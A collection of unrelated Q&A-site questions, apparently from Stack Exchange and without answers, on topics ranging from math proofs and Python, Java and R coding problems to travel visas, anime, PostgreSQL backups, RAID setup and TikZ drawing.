Between Muyo, Universe, GXP, and Ryo-ohki, I'm thoroughly confused. Sometimes Tenchi series seem to be related (Ryo-ohki and Universe) and sometimes not (GXP). What are all the Tenchi series, are they related, and if they are, how?


Travelling to the USA, but want to stay longer than 3 months? is this possible? UK citizen

I want to travel to the USA (I am UK Citizen) and I am only allowed 90 days.  Is it possible for me to stay longer - say 6 months to a year, and how?


Is there a way to convert pixel art into vector?

I've made some high resolution pixel art in PS by drawing it down at the pixel level and then increasing the image size with the nearest neighbor setting to keep it crisp. In the web browser, however, I need to display these images as icons with a dynamic size, so I can't just size the images correctly to begin with, and the broswer seems to blur the images when rendering them smaller, while vector images seem to stay more crisp as they shrink.   So I'm wondering if there's a way to convert the pixel art neatly into vector. I'm aware of the trace function in illustrator, but it seems to do a rough job iirc.


Prove: the set of zeros of a continuous function is closed.  And should the function on a closed interval?


Is there some equivalent of "friend" or "internal" in php? If not, is there any pattern to follow to achieve this behavior?   Edit: Sorry, but standard Php isn't what I'm looking for. I'm looking for something along the lines of what ringmaster did.  I have classes which are doing C-style system calls on the back end and the juggling has started to become cumbersome. I have functions in object A which take in object B as a parameter and have to call a method in object B passing in itself as an argument. The end user could call the method in B and the system would fall apart.


What's the difference between "landing page" and "starting page" in Behaviour Flow?

Under Behaviour, Behaviour Flow, I'm seeing results similar to this screenshot:    As you can see from the screenshot, a "landing page" is not considered the same thing as a starting page. Otherwise, all the traffice from a landing page would go to the equivalent starting page. Instead, it gets split.  I've seen similar questions asked elsewhere on the web, but I have yet to find a satisfactory answer.


I'm Philippine passport holder having tourist visa in UK and Turkey. I wish to travel Turkey from UK via Amsterdam. Do i require a transit visa to transit in Amsterdam?


Does anyone know how to convert an ODT file (LibreOffice) to PDF?


python add float numbers and keep largest decimal part

In Python, I am adding float numbers.   I have numbers  client_balance = 40360.7416622703 fund_manager_balance = 676.600516394647  uits= 6.72791159564433   here is my python code   def update_client_balance(self, record):     if record.client_id.account_name != ACCOUNT_MANAGER_NAME:         self.client_balance += record.units  def update_manager_balance(self, record):     if record.client_id.account_name == ACCOUNT_MANAGER_NAME:         self.fund_manager_balance += record.units   After execution of these functions I have   client_balance = 40360.7416622703 fund_manager_balance = 683.328427990291  Now I want to validate the result of these functions manually   so (client_balance + fund_manager_balance)(before function execution) -uits - (client_balance + fund_manager_balance)(after function execution)  By Value  40360.7416622703 + 676.600516394647 + 6.72791159564433 - (40360.7416622703 + 683.328427990291) = -0.00000000000727595761418343   It should give me Zero value but it's giving me -0.00000000000727595761418343  Please help me how I can solve this?


Assigning RGB values from Geotiff image to LiDAR data, using R

I have given a Geotiff image and its corresponding Lidar data (x,y,z) in UTM coordinates. I need to merge the Lidar data with the RGB values from the image.   That means, at the end, I need to plot (3D) each point of the LiDAR cloud color coded with its corresponding RGB value from the Geotiff image.  I converted the Lidar data into a shapefile using QGIS. What should I do next?   In R, I tried the plot3D function, but, it did not work. I'm attaching the , shapefile, and   Edit:  I've done the following program as shown below:   require(raster)  require(maptools)  # to take shape files #require(car) # for scatter3D  require(plot3Drgl)  ##setwd("C:\\Users\\Bibin Wilson\\Documents\\R") ##source('Lidar.r')  data = read.csv("C:\\Users\\Bibin Wilson\\Desktop\\Lidar\\lidardata.csv") #nr = nrow(data) nc = ncol(data)  nr = 500  require(rgdal) X = readGDAL("C:\\Users\\Bibin Wilson\\Desktop\\Lidar\\image.tif")  topx = 4.968622208855732e+05; topy = 5.419739403811632e+06;  final = matrix(nrow = nr, ncol = nc+2)  for(i in 1:nr) {  x = data[i,1]  y = data[i,2]  rr = round((topy-y)/0.0833)  cc = abs(round((x-topx)/0.0833))  if(rr == 0) {   rr = 1  }  if(cc == 0) {   cc = 1  }  final[i,1] = x  final[i,2] = y  final[i,3] = data[i,3]  final[i,4] = rr  final[i,5] = cc }  for(i in 1:nr) {  x = final[i,1]  y = final[i,2]  z = final[i,3]       rr = final[i,4]  cc = final[i,5]  if(rr <= 5086 && cc<=3265) {   r = X[rr,cc,1]/255   g = X[rr,cc,2]/255   b = X[rr,cc,3]/255   c = cbind(r,g,b)   scatter3D(x,y,z,2,c)  } }   But while trying to plot the graph, it shows the following error:     Error in [.data.frame(x@data, i, j, ..., drop = FALSE) :      unused argument (1)   Edit:  I got the 3D model without the RGB as shown below:


Why are primordial black holes considered non-baryonic?

A very important question that has been bugging me is why do people consider  to be non-baryonic. I know that such a statement is then used to saying that they can be considered as dark matter candidates. I have also heard that stellar black holes are considered baryonic. Can anyone help me out understanding these concepts?


Difference between deeper and wider neural networks

I'm learning NN and trying to understand the implication that architecture selection has in the model. Am I inferring correctly that:   Wider neural networks can approximate more interactions between input variables Deeper neural networks can model more complex nonlinearities


Do I use induction or is there another way to prove $\binom{r}{r}+\binom{r+1}{r}+\cdots+\binom{n}{r}=\binom{n+1}{r+1}$?

Prove the following statement is true: $$\binom{r}{r}+\binom{r+1}{r}+\cdots+\binom{n}{r}=\binom{n+1}{r+1}$$.  Since $\binom{r}{r}=\binom{n}{r}=\dfrac{n!}{r!(n-r)!}$, is that to form a basis step? If so, how do I induce k+1 for n+1 and r+1 (where n ≥ r and both positive integers)? At the same time, or in two steps?


Show that sum obtained in this chessboard is already 260

Consider the square of an $8 \times 8 $ chessboard filled with the number $1$ to $64$ as in given figure .If we choose $8$ squares with the property that is exactly one from each row and exactly one from each column , and add up the numbers in the chosen squares , show that sum obtained is always $260$ .   My work   I can just observer that it is happening but I don't know how to prove it . $$1+10+29+28+37+46+55+64$$ $$2+11+20+29+38+47+56+57$$ I know many pair like are existing but how I will show this ?


Does ubuntu require antivirus? If yes then please tell me what's the difference between windows virus and ubuntu virus?


What chakra nature does the Nine-Tailed Fox have?

I want to know the chakra nature(s) of the Nine-Tailed Fox, Kurama. Not the chakra nature of Naruto, I already know that. This is all I need to know.


I was changing file permissions and I noticed that some of the permissions modes ended in @ as in -rw-r--r--@, or a + as in drwxr-x---+. I've looked at the man pages for chmod and chown, and searched around different help forums, but I can't find anything about what these symbols mean.


I have created an Apex class with an SOQL query to get OpportunityLineItems. Testing the SOQL in query editor returns the expected response. All of the fields render in the LWC data table except for Product2.Name.   @AuraEnabled(Cacheable = true) public static List<OpportunityLineItem> getOpportunityLineItem(){     return [SELECT Id, Product2Id, Product2.Name, Quantity, UnitPrice, ProductCode FROM OpportunityLineItem]; }   Columns from LWC        const columns = [     {         label: 'Product Name',         fieldName: 'product2.Name',         type: 'text',         cellAttributes: { alignment: 'left' }       }, {         label: 'Quantity',         fieldName: 'Quantity',         type: 'number',         editable: true,         cellAttributes: { alignment: 'left' }      }, {         label: 'Sales Price',         fieldName: 'UnitPrice',         type: 'currency',         editable: true,         cellAttributes: { alignment: 'left' }     }, {         label: 'Product Code',         fieldName: 'ProductCode',         type: 'text',         cellAttributes: { alignment: 'left' }      }  ];


Why is this ok? What exactly does it compare?      int i = 10;      char c = 10;     if( c == i)        System.out.println("We are Equal");   And the same in this situation:      String s1 = "Null";      String s2 = new String(s1);     if( s1 == s2)        System.out.println("We are Equal");   I get that we're not comparing the contents of the variable.


Use variable from one file to another file

I have the following file called as test1.sh which contains:  File 1: test1.sh  #!/bin/bash  a=10 b=11 if [ $a == $b ] then     message="A is equal to b" else     message="A is not equal to b" fi   Note: Now i have second file called as test2.sh in which i want to print the message variable of file one that is test1.sh.  File 2: test2.sh  #!/bin/bash .... /*How to get the message variable from file test1.sh */ echo $message


Any product of primes in the form of 4n+1 is the sum of 2 relatively prime squares

How can we prove the theorem that any product of primes in the form $4n+1$ is the sum of 2 relatively prime square numbers?   EDIT: My question is not the same as the responses that were linked. I'm asking specifically about the product of primes in the form $4n+1$ being the sum of $2$ relatively prime squares, not just primes in the form $4n+1$ being the sum of squares.


I'd like to use this image on a web site.    What I need to do is change the background from black to transparent, so I can use the arrow on my site maintaining the page background.  I used Gimp to convert the image to .png, but how do I proceed now?


Which term is correct? "I have no" or "I don't have any"

Would you please tell me which of the following terms is correct? If both are correct, are they equal?     I have no [...] I don't have any [...]


For which values of $a$ does $a-2 \mid a^3+4$

I need to find for which values of $a\in\mathbb{N}$ the following happens:  $$a-2\ |\ a^3+4$$  that is, for which values of $k\in\mathbb{Z}$ the following holds:  $$a^3+4 = k(a-2)$$  I could not find anything useful from that.  Usually for a proof involving division, for example, proving $8|3^{2n}+7$ I'd suppose $3^{2k}+7 = 8k$ and prove by induction that it also holds for $k+1$, but for this case is diferent.


Sinister: Left slides to malicious, but how?

How did "sinister" migrate from the Latin for "left" to English for "evil"?


A section may be written as a finite sum of other sections.

I want to show the following     let $E$ be a vector bundle over a base manifold $M$. Let $s$ be a section of $E$ that vanishes at $x_0\in M$. Show that there exists a finite number of section $\{s_i\}_{i\in I}$ and smooth functions $\{f_i\}_{i\in I}$ such that $s=\sum_{i\in I} f_i\cdot s_i$.    I don't see where the vanishing comes in to play, and I also don't see how to define such a thing globally.   On a local trivialization, where we have $\phi:\pi^{-1}(U)\rightarrow U \times \mathbb R^n$, we can take the $s_i(x)=e_i$ and $f_i(x)=e_i\cdot s(x)$. But this is only local.


If $n,k\in\mathbb N$, solve $$2^8+2^{11}+2^n=k^2$$  It's hard for me to find an idea. Some help would be great. Thanks.


python match exclamation mark in mutiline

I have a file that has a repeated pattern output  !----------------------------------------------------------------- line 1 line 2 line 3 ..... -------------------------------------------------------------------!   I am trying to match and extract all the occurrences of these blocks but the below returns all the file   match = re.search(r'\!-.*-\!', data, re.DOTALL) print match.group()


Install Windows 10 Pro 1703 and keep that

We are running Windows 10 Pro x64. The Software we use only supports 1703.  So I have a new machine here, running 1607 and want to upgrade to 1703.  Also, I want to keep that, but install all other updates automatically. I know, that there will be one day I have to upgrade, but the vendor of the software we use should ship patches before that day.  Somehow, I didn't do any progress researching that, I wouldn't ask if I had any clue.  Thank you.  As I was asked where this is a duplicate of "How to disable Windows Updates": I would just disable them, if this was my intention. I want to stay on 1703. And as 1709 has been published half a year ago, it will still work.


In the Leonard Susskind Lectures on Classical Mechanics on youtube, while he disusses symmetry and its relation to conservation laws, he uses the notation $\delta$ to refer to a certain "small quantity", but then again he uses it in a sense of operator (variation, eg. $\delta S$ is the variation in the action) which is proportional to the quantity $\delta$. Please help in clarifying this, I may have understood something pretty badly.


I have $f(x,y)\geq 0$ measurable in $\mathcal{A}\times\mathcal{B}$ where $(X,\mathcal{A})$ and $(Y,\mathcal{B})$ are measurable spaces.  I don't think $g(x)=\sup_{y\in Y}f(x,y)$ is measurable in $\mathcal{A}$ if $g(x)<\infty$ for each $x\in X$.  My thought comes from the fact that one of sufficient conditions to make a supremum in $y\in Y$ be measurable if $Y$ is countable so there is a counterexample if I set $Y$ be uncountable to make $g(x)$ be not measurable.  But I can't not do further. Please help me to construct the counterexample of $g(x)$.


Prove $\sqrt{2} + \sqrt{5}$ is irrational

How do you prove that $\sqrt{2} + \sqrt{5}$ is irrational?    I tried to prove it by contradiction and got this equation:  $a^2/b^2 = \sqrt{40}$.


How to get Lookup ID from Search API with REST

I'm trying to get the ID of a lookup field when using search api. My query looks something like this:  /_api/Search/query?querytext='ListId:12345678-1234-1234-1234-123456789012'&selectproperties='Title,Company'   Where Company is the lookup field, in a specific list.  The result looks like this:  <d:element m:type="SP.KeyValue">   <d:Key>Company</d:Key>   <d:Value>Some company</d:Value>   <d:ValueType>Edm.String</d:ValueType> </d:element>   I have created a managed property which looks like this:


What is the difference between "likelihood" and "probability"?

The  claims that likelihood and probability are distinct concepts.     In non-technical parlance, "likelihood" is usually a synonym for "probability," but in statistical usage there is a clear distinction in perspective: the number that is the probability of some observed outcomes given a set of parameter values is regarded as the likelihood of the set of parameter values given the observed outcomes.    Can someone give a more down-to-earth description of what this means?  In addition, some examples of how "probability" and "likelihood" disagree would be nice.


How to get a working and complete PostgreSQL DB backup and test

I was hoping I could get a clear answer on how to ensure taking a full Postgres backup just like you would get with MS SQL Server, and then take care of orphaned users.  From what I've read, and it could be wrong, finding a good PostgreSQL blog has been challenging so please feel free to recommend some to me, I need to figure out how this app works so I can have trust in my backups and Slony replication.  I had a developer restore a backup I took from PgadminIII via custom, directory, and tar format while selecting OIDs but he said two of them didn't load, tar did but it was only the directory, not the data.  I'm really confused now.   I am using PGAdminIII, it has a pg_dump and pg_dumpall option.  I want to back everything up that I need to test restore this database somewhere and verify that yes, all the data we need and our backup is good.  Eventually I want to write an auto-restore script but one day at a time.   pg_dumpall apparently has a -globals option that's supposed to backup everything, but the help for pg_dumpall shows a -g, --globals-only          dump only global objects, no databases, not a --globals option.    I thought pg_dumpall would at least backup foreign keys, but even that seems to be an 'option'.  According to the , even with pg_dumpall I need to use a -o option to backup foreign keys, I can't really imagine when I wouldn't want to backup foreign keys and this would make more sense as a default options.   How would I take care of orphaned users and validate I have everything?  I'd like to actually restore my backup file on another server and verify everything works.  If anyone has any suggestions on how to take a real backup in PostgreSQL and restore, I'd be very grateful.   I had a PostgreSQL server but I still can't fathom why the app would not backup OIDs by default!  It seems like 99.9% of the time you would want that.    UPDATE 1:  The Postgres  mentions that the globals option I was looking for seems to be a default option on this version, but it still needs the -o option.  If someone can verify or give me an example command to restore a single database elsewhere with everything it needs I'd appreciate it.   Edit: being asked by site to show the uniqueness of this question by editing my question.  This question raises the issue and get's clarity on OIDs in backups, the difference between globals and non globals, as well as testing restores recommendations to ensure the backup is good as opposed to just backing up.  Due to the answers I was able to backup, figure out globals/oids, and started a test restore process nightly on Postgres using cron jobs.  Thanks for the help!


Showing two fields of attribute table using PyQGIS

I need to show two fields of an attribute table. I can currently display the "POINT" field. I also want to show the "ID" field. In the following way, if ID = 2 and POINT = 341. It should show like this 2 (341). As shown in the picture.  # Adding Labels to Nodes       for layer in QgsProject.instance().mapLayers().values():         layer_settings  = QgsPalLayerSettings()         text_format = QgsTextFormat()  text_format.setFont(QFont("Arial", 8)) text_format.setSize(8) text_format.setColor(QColor('Black'))   buffer_settings = QgsTextBufferSettings() buffer_settings.setEnabled(True) buffer_settings.setSize(0.10) buffer_settings.setColor(QColor('black'))  text_format.setBuffer(buffer_settings) layer_settings.setFormat(text_format)  fieldName1="PUNTO" fieldName2="ID" layer_settings.fieldName = "PUNTO" *********************************** layer_settings.placement = 4  layer_settings.enabled = True  layer_settings = QgsVectorLayerSimpleLabeling(layer_settings) layer5.setLabelsEnabled(True) layer5.setLabeling(layer_settings) layer5.triggerRepaint()[![enter image description here][1]][1]


I'm trying to create a generic method that will concatenate 2 arrays (of any type, as long as it's the same between the two). I have created a method that does not produce errors in the IDE, but when I actually use it to try to concatenate 2 String arrays, I get the error that an Object [] cannot be cast to a String []. I understand this error as I've had it before in another program. The only way to fix it, as far as I know, is to create a new array of the type you want, then iterate through the object array and individually cast all the objects to the type you want. Is there a better way to cast the array than that using a method like mine? This is my method:  public static <T> T [] concatArrays(T [] a1, T [] a2) {     @SuppressWarnings("unchecked")     T [] both = (T[]) new Object [a1.length + a2.length];      for(int i = 0; i < a1.length; i++)         both[i] = a1[i];      for(int i = 0; i < a2.length; i++)         both[i + a1.length] = a2[i];      return both; }   This was my first time ever really working with full generic types so I have no idea if I did this right.


$\sum\limits_{n = 1}^\infty  {2{a_n}} $ is a series. is it right to say the following?    $$\mathop {\lim }\limits_{n \to \infty } {S_{n = }}\sum\limits_{n = 1}^\infty  {2{a_n}}  = 2\sum\limits_{n = 1}^\infty  {{a_n}} $$


Lorentz transformation, non linear space transformations

The Lorentz transformation is linear in $x,y,z,t$.  Are there are any non linear space transformations that leaves the speed of light constant in all inertial frames? The possibility being that space or matter might not transform in a simple homogeneous way.  Such a transformation which leaves the Maxwell equations invariant I imagine is unlikely.


Using Einstein's Relativity: Who is younger?

Suppose we have a person A and a person B.  Person B travels very close to speed of light and never returns. He's constant in speed. Then, we can say two things:   B is younger than A. A is younger than B (since we can consider B's reference as inertial).   Who is correct between the two?


Is there any way to re-enable YouTube's speed-up controls?

Other than downloading the video, is there any way to re-enable YouTube's speed-up controls, which allowed playback w/ 1.5x, 2x, 4x the original speed?  (This was the only way I could watch lectures and vlogs; they are essential for those videos.)


Let $n$ be a positive integer. Show that $(\sqrt{2}+1)^n = \sqrt{m}+\sqrt{m-1}$ for some positive integer $m$.   I was wondering what would be the easiest way of proving this. Expanding $(\sqrt{2}+1)^n$ we get $$(\sqrt{2}+1)^n = \binom{n}{0}(\sqrt{2})^n+\binom{n}{1}(\sqrt{2})^{n-1}+\cdots+\binom{n}{n} = a+b\sqrt{2}$$ and so either $\sqrt{m} = a$ and $\sqrt{m-1} = b\sqrt{2}$ or $\sqrt{m} = b\sqrt{2}$ and $\sqrt{m-1} = a$. How do we continue from here?


CPU usage is too high with Yosemite and an external monitor

I use Yosemite 10.10.4 on my MacBook Pro (2012).  I used to work with an external monitor: Apple Thunderbolt 27" monitor.  The issue is that, according to Activity Monitor, the kernel_task process consumes more than 600% of CPU even when no tasks are running! The computer becomes totally unusable.   The workaround is to disconnect the external monitor, but I really need this secondary screen to work.  Why didn't Apple fix this issue in the latest Yosemite update?  Is there a fix for this?


Prove that $\frac{(3n)!}{(3!)^n}$ is an integer where $n$ is a non-negative integer.  I can prove it with mathematical induction. Is there any other method?


I was researching on methods to try and recover my data and I learned something interesting, :  This does not exactly answer the original question, but since I managed to brick my bootloader in the meantime, this is what I ended up doing, and it might be useful for someone else in the future: Allwinner SOCs have a built in Boot ROM, and it supports various modes, so these devices are virtually unbrickable. In particular, it supports a so called FEL mode () which can be used to boot the device over USB. I nice open-source tool has been written that can communicate with the device in this special mode (). Using this, you can boot your own bootloader. (And with that, you can boot your own kernel, etc.) The linux-sunxi.org website has very  detailed instructions regarding Allwinner SoC devices, so I recommend that you check out their other articles as well.  I found this quite interesting and so my noggin started to think: could this potentially apply to Snapdragon COCs? Could they potentially contain a built-in Boot ROM? It would be logically possible considering that if perhaps someone completely ruined important partitions, to the point the boot-loader doesn't even load, and it's completely bricked, that Motorola can fix it. I'm pretty sure I recall talking to a Moto Rep a long time ago and they said that it is possible to fix a phone that you messed up all the way up to the bootloader. I would assume 'Yes' they do. So, is it possible?


Performance decision on a 3-server HA scenario

I am setting up a new infrastructure for our current project, mgirating from a 2 server in 2 locations to a new 3 servers/3 datacenters... which should allow us to have a higher high availability.  That said, I need to make a decision upon the installation of our new servers. We're using OVH as a provider and we choose to rent of their SP-32-2 servers. The specs are the following:  CPU:  Intel  Xeon E3-1245v5 - 4c/8t - 3,5GHz /3,9GHz RAM:  32GB DDR4 ECC 2133 MHz SSD:  SoftRaid 2x480GB SSD   Until now, in our 2 servers, we also had a SoftRaid active on their disks (160GB)... but now that we're increasing with one location, I was thinking what would be smarter in terms of performance:   Use a RAID1. Use a RAID0 (~similar performance as a single drive, but increased capacity?) Use the single disks.   This is the information I could get from the disks:  # smartctl --all /dev/nvme0n1 smartctl 6.6 2016-05-31 r4324 [x86_64-linux-3.14.32-xxxx-grs-ipv6-64] (local build) Copyright (C) 2002-16, Bruce Allen, Christian Franke, www.smartmontools.org  === START OF INFORMATION SECTION === Model Number:                       INTEL SSDPE2MX450G7 Serial Number:                      CVPF723400BN450RGN Firmware Version:                   MDV10271 PCI Vendor/Subsystem ID:            0x8086 IEEE OUI Identifier:                0x5cd2e4 Controller ID:                      0 Number of Namespaces:               1 Namespace 1 Size/Capacity:          450,098,159,616 [450 GB] Namespace 1 Formatted LBA Size:     512 Local Time is:                      Sun Oct 15 22:06:40 2017 UTC Firmware Updates (0x02):            1 Slot Optional Admin Commands (0x0006):   Format Frmw_DL Optional NVM Commands (0x0006):     Wr_Unc DS_Mngmt Maximum Data Transfer Size:         32 Pages  # hwinfo --disk 22: PCI 00.0: 10600 Disk   [Created at block.245]   Unique ID: wLCS.ESp_8PwlL47   Parent ID: B35A.rUHJNen1rs6   SysFS ID: /class/block/nvme0n1   SysFS BusID: 0000:02:00.0   SysFS Device Link: /devices/pci0000:00/0000:00:01.1/0000:02:00.0   Hardware Class: disk   Model: "Intel DC P3500 SSD [2.5" SFF]"   Vendor: pci 0x8086 "Intel Corporation"   Device: pci 0x0953 "PCIe Data Center SSD"   SubVendor: pci 0x8086 "Intel Corporation"   SubDevice: pci 0x3705 "DC P3500 SSD [2.5" SFF]"   Revision: "MDV1"   Serial ID: "CVPF723400BN450RGN"   Driver: "pcieport", "nvme"   Device File: /dev/nvme0n1   Device Number: block 259:0   Size: 879097968 sectors a 512 bytes   Capacity: 419 GB (450098159616 bytes)   Config Status: cfg=new, avail=yes, need=no, active=unknown   Attached to: #17 (Non-Volatile memory controller)  23: PCI 00.0: 10600 Disk   [Created at block.245]   Unique ID: nghH.tSE4xNK5_H1   Parent ID: svHJ.rUHJNen1rs6   SysFS ID: /class/block/nvme1n1   SysFS BusID: 0000:03:00.0   SysFS Device Link: /devices/pci0000:00/0000:00:1c.0/0000:03:00.0   Hardware Class: disk   Model: "Intel DC P3500 SSD [2.5" SFF]"   Vendor: pci 0x8086 "Intel Corporation"   Device: pci 0x0953 "PCIe Data Center SSD"   SubVendor: pci 0x8086 "Intel Corporation"   SubDevice: pci 0x3705 "DC P3500 SSD [2.5" SFF]"   Revision: "MDV1"   Serial ID: "CVPF7235000X450RGN"   Driver: "pcieport", "nvme"   Device File: /dev/nvme1n1   Device Number: block 259:5   Size: 879097968 sectors a 512 bytes   Capacity: 419 GB (450098159616 bytes)   Config Status: cfg=new, avail=yes, need=no, active=unknown   Attached to: #18 (Non-Volatile memory controller)   In order to answer, I guess it all depends on what we're running and what is our traffic. Ever server will be equal, running mainly: nginx, php, mysql and redis. This is a web server as you can see and it has high traffic and growing.  What would be the smarter decision when in terms of performance? I also need to point out that re-installation of the servers shouldn't be an issue as they all being installed with Ansible.  Thanks in advance!


Show that there is one person who knows everybody.

There are $n$ people. For every pair of them there is exactly one person who knows both. I need to show that there is one person who knows everybody.  I need a hint to solve this problem.


I want to understand a trick in the derivation of the Schwinger-Dyson equations

In the book of Ashok Das, Field theory-path integral approach, he begin the demonstration of the Schwinger-Dyson equation using the fact that the $\delta Z[J]=0$, so  \begin{equation} \delta Z[J]=\int \mathcal{D} \phi \frac{\delta S[\phi,J]}{\delta \phi(x)} e^{iS[\phi,J]}=0, \end{equation} but we already know that  \begin{equation} \frac{\delta S[\phi, J]}{\delta \phi(x)}=F(\phi(x))-J(x), \end{equation} where $F(\phi(x))$ is the equation of motion.   So if we go back to the first equation and use the identification  \begin{equation} \phi(x)\rightarrow -i\frac{\delta}{\delta J(x)}, \end{equation}  we conclude that  $$ \int \mathcal{D}\phi\left(F(\phi(x))-J(x)\right)e^{iS[\phi,J]}=\left(F\left(-i\frac{\delta }{\delta J(x)}\right)-J(x)\right)\int \mathcal{D}\phi e^{iS[\phi,J]} $$ $$ \left(F\left(-i\frac{\delta }{\delta J(x)}\right)-J(x)\right)Z[J]=\left(F\left(-i\frac{\delta }{\delta J(x)}\right)-J(x)\right)e^{iW[J]}=0. $$  But is here where I get lost, how did he pass from the above equation for  $$ e^{-iW[J]}\left(F\left(-i\frac{\delta }{\delta J(x)}\right)-J(x)\right)e^{iW[J]}=F\left(\frac{\delta W[J]}{\delta J(x)}-i\frac{\delta}{\delta J(x)}\right)-J(x)=0. $$  A more important question is: what does this last equation mean at all, mathematically speaking, because the functional derivative now is acting on nothing.


How to install Linux Mint's Mate Fork on Ubuntu 12.04

The Title explains itself.  I want to install Linux Mint's Mate, but I want to keep Ubuntu.  Is it possible to get it?  And if so, how?


Where is located the Python interpreter when Python is downloaded form the official website?

I downloaded Python 3.4.5 from the official website (, it's the version used at school) in order to use it with my IDE. However, in the files, I have no idea where the actual interpreter is, so I can't choose the version for my IDE. Could you please explain me where it is located?  As this is my first question, I don't know what I need to show (commands, files, config, etc.). If you need anything, please feel free to ask.


>>> class A: ...     def foo(self): ...             print(self) ... >>> >>> a = A() >>> a.foo() <__main__.A instance at 0x7f4399136cb0> >>> def foo(self): ...     print(self) ... >>> a.foo = foo >>> a.foo() Traceback (most recent call last):   File "<stdin>", line 1, in <module> TypeError: foo() takes exactly 1 argument (0 given)   I am trying to understand monkey-patching in Python. Please illustrate the reason for the error and how to fix it.


Can minecraft pocket edition on an ipad connect to minecraft pc?

I have a laptop and someone wants to connect to my world through their iPad mini. Is this possible?


What does the phrase "Begging the question" mean?

What does the phrase "begging the question" really mean? And does it even matter if I use it correctly? Almost everyone just uses it as a synonym for "posing the question" these days.


How to check which client is accessing Unix?

I am accessing a Unix server using SSH client from my Windows machine (M/C name: MyComp). I have logged in as user id: MyID.  Is there any way I can determine what are the active session in Unix?  e.g something like "someone from Mycomp Logged in at  xx:xx  using MyID"


How to find node by name in Binary Search Tree in Java

I write method to find node of student records by the first and last name of student in Binary Search Tree  This is the code of the method in class Binary Search Tree  private Student root;  public Student findNodeName(String firstname,String lastname) {      return findNodeName(root,firstname,lastname);  }  private Student findNodeName(Student student,String firstname,String   lastname){       if (student == null) {         return null;     }       else if (firstname.equals(student.getFirstName())             &&lastname.equals(student.getLastName())) {            return student;     }      else     {         if(student.getLeft()!= null)           return findNodeName(student.getLeft(),firstname,lastname);      else          return findNodeName(student.getRight(),firstname,lastname);     }  }     And This code in main class  //declare object of class universitydbmsBST  universitydbmsBST universitydbmsbst;  if (command.equals("SEARCHNAME") == true) {          //variables to read from input file         String firstname = input.next();         String lastname = input.next();          //variable used to check if the student is already in BSt or not          Student student =null;          //print if the student found or not         if((student =               universitydbmsbst.findNodeName(firstname,lastname))!=null){              output.println("SEARCHNAME Command");             output.println("Found:  ID "+student.getID()+",               "+student.getFirstName()+" "+student.getLastName());          }           else {              output.println("SEARCHNAME Command");              output.println(student.getFirstName()+"               "+student.getLastName()+" was not found in                FCITbook.");          }      }     But I have a problem when I do run it appears NullPointerException  Can anyone help me?


How to Triple Boot Windows 10 Windows 10 Insider and Ubuntu?

So I am wondering how do I triple boot Windows 10, Windows 10 Insider Preview, and Ubuntu. Is this even possible?  *Note that I already have Windows 10 and Ubuntu installed. I will be installing Windows 10 Insider Preview


Creating an array of base class objects, and storing derived class objects

I have a base class, Card, and a derived class,  SkillCard, declared as such: class SkillCard : public Card { private:     int skillType;     int numberValue; public:     SkillCard();     SkillCard(int x, string z, int y, int w); };  While Card is declared: class Card { public:     string name;     int manaCost;     Card();     string printCard();     Card(string x, int y); };  I store cards of different types in the deck (eventually there will be AttackCard, PowerCard etc) so cards are stored in the deck as: SkillCard increaseCard(0, "Increase Strength", 0.05, 5); userDeck.addCard(increaseCard, 1);  userDeck is an object of the deck class, which is declared as: class Deck { private:     int size;     Card* deck = new Card[1]; public:     Deck();     Deck(int x);     void addCard(Card toAdd, int place);     Card getCard(int place);     void setSize(int x);     int getSize();     void changeDeck();     void deleteDeck(); };  However, a problem arises when I try to return a card from the deck, done as SkillCard returned = userDeck.getCard(1);, since that returns a Card type. Can I convert this returned Card type to SkillCard?


I have a string variable that represents the name of a custom class. Example:   string s = "Customer";   I will need to create an arraylist of customers. So, the syntax needed is:  List<Customer> cust = new ..    How do I convert the string s to be able to create this arraylist on runtime?


Parenthetical pluralization of words ending in '-y'

Sentences constructed with a word written in the singular and parenthetically in the plural are straightforward when that word does not end in -y, e.g.:     List all applicable employee(s).   How does one handle words ending in -y? Is this correct:     I will attend the party(ies).


How to hide div when clicking outside of it Javascript?

I am trying to make a "form" only visible after clicking another "button" with the following conditions:  The "form" should only be visible if you click the "button". If you click either "outside" the form or click again the button: the form will become hidden again.    /* JAVASCRIPT */ const outer = document.getElementById('outer'); const inner = document.getElementById('inner') outer.onclick = function() {   if (inner.style.visibility == 'visible') {     document.getElementById('inner').style.visibility = 'hidden';   } else {     document.getElementById('inner').style.visibility = 'visible';   } } const ignoreClickOnMeElement = document.getElementById('inner'); document.addEventListener('click', function(event) {   const isClickInsideElement = ignoreClickOnMeElement.contains(event.target);   if (!isClickInsideElement) {     // when uncommenting the line below everything stop working, rather then just closing if I click outside this div     /*    document.getElementById('inner').style.visibility='hidden';*/   } }); /* CSS */  * {   border: thin solid black; }
     <button>Visible</button>

     <form id="form">       <input type="number">       <input type="number">     </form>


Do people aside from the Avatar reincarnate?

Whenever the Avatar dies, they reincarnate into a new body from the next nation in the Avatar cycle. For instance, Roku reincarnated into Aang who reincarnated into Korra.  Is there any evidence that people aside from the Avatar reincarnate as well?


I'd like to create a picture like the one with TikZ:    I've already created the electrical part using circuitikz. I'd like to add the part on the right (the motor's shaft with arrows), but don't know how to start, actually. Is there a way to draw 3D shapes, maybe? Or should I draw circles and rotate them?  \documentclass{article} \usepackage{tikz} \usetikzlibrary{intersections} \usepackage{circuitikz} \usepackage{siunitx}  \begin{document}  \begin{figure} \centering \begin{circuitikz} \draw (0,0) to [V, v=$v(t)$, *-*] (0,2)      to [R, l=$R_d$] (2,2)     to [L, l=$L_d$] (4,2)     to [V, v<=$e(t)$] (4,0) to [generic] (4,2) -- (4,0) -- (0,0); \end{circuitikz} \end{figure}  \end{document}   What I have now:   What I'm still missing:


derivation is easier than integration - is it true?

There are simple rules for computing the derivative of complex (in the sense of not simple, not in the sense of complex numbers) functions such as the product rule or the chain rule. However, when it comes to integration of these function there aren't simple rules to use, and usually you have to find a trick in order to integrate. There is a saying: "differentiation is mechanics, integration is art" (in my language it even rhymes) I have several questions: 1. Is this intuition true? Can we be sure that such rules does not exist for integration? 2. Is there a formal version of this intuition and saying? In example, maybe the computational complexity of computing derivative is lower the complexity of computing integrals? (3. Is there a deep reason for this situation?) Edit: question 3 was already asked here -  but questions 1 and 2 were not asked so I think the question is relevant. Thanks in advance for the answers.


